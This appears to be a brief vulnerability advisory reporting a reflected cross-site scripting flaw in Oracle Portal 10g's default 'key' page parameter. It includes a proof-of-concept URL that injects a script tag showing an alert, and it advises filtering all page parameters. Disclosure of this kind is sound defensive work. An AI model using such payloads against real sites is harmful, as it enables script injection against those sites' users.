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XSS with default page parameter in Oracle Portal 10g

XSS with default page parameter in Oracle Portal 10g
Discovered By: Ph&#7841;m &#272;&#7913;c H&#7843;i (Pham Duc Hai)
Email: duchaikhtn (at) gmail (dot) com
YIM : kiki_coco1985vn
Website: http://blog.ajaxviet.com
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Description:

When programmers code with Oracle Portal, they may use page parameters 
supported by Oracle Portal.
By default, these parameters have the xss bug. If the programmers don't filter 
or process these parameters before using, 
the attacker maybe exploit via this xss bug.

Exploit : (tested Oracle Portal 10g 10.0.0.x)
For example, we have site : http://somesite.com used Oracle Portal 10g and this 
site is using key - page parameter(by default).
...key="><script>alert('xss_bug_found');</script>
http://somesite.com/portal/page?_pageid=<pageid>&_dad=portal&_schema=<schema>&key="><script>alert('xss_bug_found');</script>

Solution:

Filter or process all the page parameters.